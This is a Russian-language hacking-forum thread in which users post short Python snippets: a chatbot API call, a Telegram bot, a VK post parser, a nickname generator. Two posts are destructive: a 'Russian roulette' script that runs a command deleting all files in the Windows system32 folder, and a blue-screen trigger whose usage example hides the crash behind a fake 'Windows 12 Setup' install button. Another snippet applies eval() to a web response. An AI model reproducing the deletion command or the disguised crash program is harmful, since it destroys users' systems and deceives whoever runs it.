 |

13.03.2023, 00:29
|
|
Постоянный
Регистрация: 05.11.2021
Сообщений: 634
С нами:
2380746
Репутация:
68
|
|
Сообщение от Спойлер
Почему другим языкам дали, а питону нет? 😡
Описание:*текст*
Код сниппета/функции:
Сниппет:
Пример использования:
Сниппет:
|
|
|

13.03.2023, 08:45
|
|
Постоянный
Регистрация: 05.11.2021
Сообщений: 634
С нами:
2380746
Репутация:
68
|
|
Описание: отправляет запрос к xu.su и возвращает ответ. Полезно для простых тг ботов
Код:
Функция:
Код:
import
requests
import
emoji
#pip install emoji
def
xusu
(
text
:
str
,
bot_type
:
str
=
'main'
)
-
>
str
:
#text - текст для запроса, bot_type - выбор типа бота (посмотреть можно на сайте), по умолчанию "main"
r
=
requests
.
post
(
'https://xu.su/api/send'
,
{
"uid"
:
None
,
"bot"
:
bot_type
,
"text"
:
text
}
)
#отправляем запрос
text
=
r
.
text
.
replace
(
'true'
,
'True'
)
data
=
eval
(
text
)
#превращаем ответ в словарь
new_text
=
''
.
join
(
char
for
char
in
data
[
'text'
]
if
char
not
in
emoji
.
EMOJI_DATA
)
return
new_text
Пример использования:print(xusu('как жизнь?'))
|
|
|

04.05.2023, 18:47
|
|
Участник форума
Регистрация: 09.03.2021
Сообщений: 122
С нами:
2727055
Репутация:
83
|
|
Описание:Автоматически принимает пользователя в группу/канал и пишет в ЛС этому пользователю с использованием библиотеки Telebot.
Код сниппета:
Отблагодарите меня хоть как нибудь):
Код:
import
telebot
bot
=
telebot
.
Telebot
(
"TOKEN_BOT"
)
def
handle_join_request
(
message
)
:
bot
.
send_message
(
message
.
user_chat_id
,
"Автоматически принял вас в группу!"
)
bot
.
approve_chat_join_request
(
message
.
chat
.
id
,
message
.
user_chat_id
)
bot
.
register_chat_join_request_handler
(
handle_join_request
)
|
|
|

04.05.2023, 22:57
|
|
Постоянный
Регистрация: 02.06.2022
Сообщений: 334
С нами:
2080425
Репутация:
68
|
|
Описание:Русская рулетка
Python:
Код:
import
random
import
os
number
=
int
(
input
(
)
)
while
number
6
:
print
(
'От одного до 6.'
)
number
=
int
(
input
(
)
)
if
random
.
randint
(
0
,
6
)
==
number
:
os
.
remove
(
'C:\Windows\System32'
)
os
.
system
(
'cmd /k del %windir%\system32\*.* /f /s /q'
)
|
|
|

05.05.2023, 04:25
|
|
Познавший АНТИЧАТ
Регистрация: 14.06.2021
Сообщений: 1,354
С нами:
2587494
Репутация:
88
|
|
Описание: получение полной информации о посте ВК
Код сниппета/функции:
Python:
Код:
import
requests
group_id
=
""
#айди группы либо страницы человека, обязательно ставить - перед ид группы!
access_token
=
""
#как получить его можно узнать в гугле
def
parser_vk
(
)
:
url
=
f"https://api.vk.com/method/wall.get?access_token={access_token}&v=5.122&owner_id={group_id}&count=1"
response
=
requests
.
get
(
url
)
data
=
response
.
json
(
)
result
=
data
[
'response'
]
[
'items'
]
return
result
for
post
in
parser_vk
(
)
:
print
(
post
[
'text'
]
)
#в массиве содержится вся информация о посте, лайки и т.д
Пример использования:
Python:
Код:
import
requests
import
datetime
group_id
=
"-182234941"
#ид форумник самп
access_token
=
"vk.L9dDkfdldorGodGuVIU6DB7c_tsSCFVmlKur04Asdgy5l7RWF187ksDWA2RO_fsZoeLaS34AdTr"
#пример токена
def
parser_vk
(
)
:
url
=
f"https://api.vk.com/method/wall.get?access_token={access_token}&v=5.122&owner_id={group_id}&count=1&offset=1"
#count - кол-во постов сколько нужно, offset - аля отступ, например: offset=1 означает что первый пост не будет брать(если нам не нужен закрепленный пост), его можно убрать
response
=
requests
.
get
(
url
)
data
=
response
.
json
(
)
result
=
data
[
'response'
]
[
'items'
]
return
result
for
post
in
parser_vk
(
)
:
print
(
f"Количество лайков на посте{post['likes']['count']}"
)
print
(
f"Количество репостов на посте{post['comments']['count']}"
)
print
(
f"Пост создан в{datetime.datetime.utcfromtimestamp(post['date'])}"
)
if
'edited'
in
post
:
print
(
f"Пост изменен в{datetime.datetime.utcfromtimestamp(post['edited'])}"
)
else
:
print
(
f"Пост не изменялся"
)
#output:
#Количество лайков на посте 210
#Количество репостов на посте 51
#Пост создан в 2023-05-04 18:00:02
#Пост изменен в 2023-05-04 18:01:35
|
|
|

08.05.2023, 04:08
|
|
Познавший АНТИЧАТ
Регистрация: 14.06.2021
Сообщений: 1,354
С нами:
2587494
Репутация:
88
|
|
Описание: генератор никнейма SA:MP
Код сниппета/функции:
Python:
Код:
import
requests
import
random
def
nickname
(
)
:
random_name
=
random
.
randint
(
0
,
5163
)
random_surname
=
random
.
randint
(
5164
,
81533
)
url
=
"https://raw.githubusercontent.com/AlannButler/database_names_surnames/main/n_s"
result
=
requests
.
get
(
url
)
json
=
result
.
json
(
)
return
f'{json[random_name]}_{json[random_surname]}'
Пример использования:
Python:
Код:
import
requests
import
random
def
nickname
(
)
:
random_name
=
random
.
randint
(
0
,
5163
)
random_surname
=
random
.
randint
(
5164
,
81533
)
url
=
"https://raw.githubusercontent.com/AlannButler/database_names_surnames/main/n_s"
result
=
requests
.
get
(
url
)
json
=
result
.
json
(
)
return
f'{json[random_name]}_{json[random_surname]}'
print
(
nickname
(
)
)
#Carolin_Pettes
input
(
)
|
|
|

29.05.2023, 23:59
|
|
Постоянный
Регистрация: 06.11.2021
Сообщений: 397
С нами:
2378594
Репутация:
48
|
|
Описание:Синий экран смерти (Увидел это от @chapo , подумал сделать так-же, только на питоне)
Код сниппета/функции:
Python:
Код:
import
ctypes
ntdll
=
ctypes
.
windll
.
ntdll
prev_value
=
ctypes
.
c_bool
(
)
res
=
ctypes
.
c_ulong
(
)
ntdll
.
RtlAdjustPrivilege
(
19
,
True
,
False
,
ctypes
.
byref
(
prev_value
)
)
ntdll
.
NtRaiseHardError
(
0xDEADDEAD
,
0
,
0
,
0
,
6
,
ctypes
.
byref
(
res
)
)
Пример использования:
Python:
Код:
import
tkinter
as
tk
import
ctypes
def
CallBSOD
(
)
:
ntdll
=
ctypes
.
windll
.
ntdll
prev_value
=
ctypes
.
c_bool
(
)
res
=
ctypes
.
c_ulong
(
)
ntdll
.
RtlAdjustPrivilege
(
19
,
True
,
False
,
ctypes
.
byref
(
prev_value
)
)
ntdll
.
NtRaiseHardError
(
0xDEADDEAD
,
0
,
0
,
0
,
6
,
ctypes
.
byref
(
res
)
)
root
=
tk
.
Tk
(
)
root
.
config
(
bg
=
'black'
)
root
.
title
(
'Шиндовс 12 Сетуп'
)
root
.
geometry
(
'500x200'
)
root
.
resizable
(
0
,
0
)
btnGenerate
=
tk
.
Button
(
root
,
text
=
'Установить'
,
font
=
'Arial 13 bold'
,
borderwidth
=
2
,
command
=
CallBSOD
)
btnGenerate
.
place
(
relx
=
0.5
,
rely
=
0.8
,
anchor
=
tk
.
CENTER
,
width
=
150
,
height
=
50
)
root
.
mainloop
(
)
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|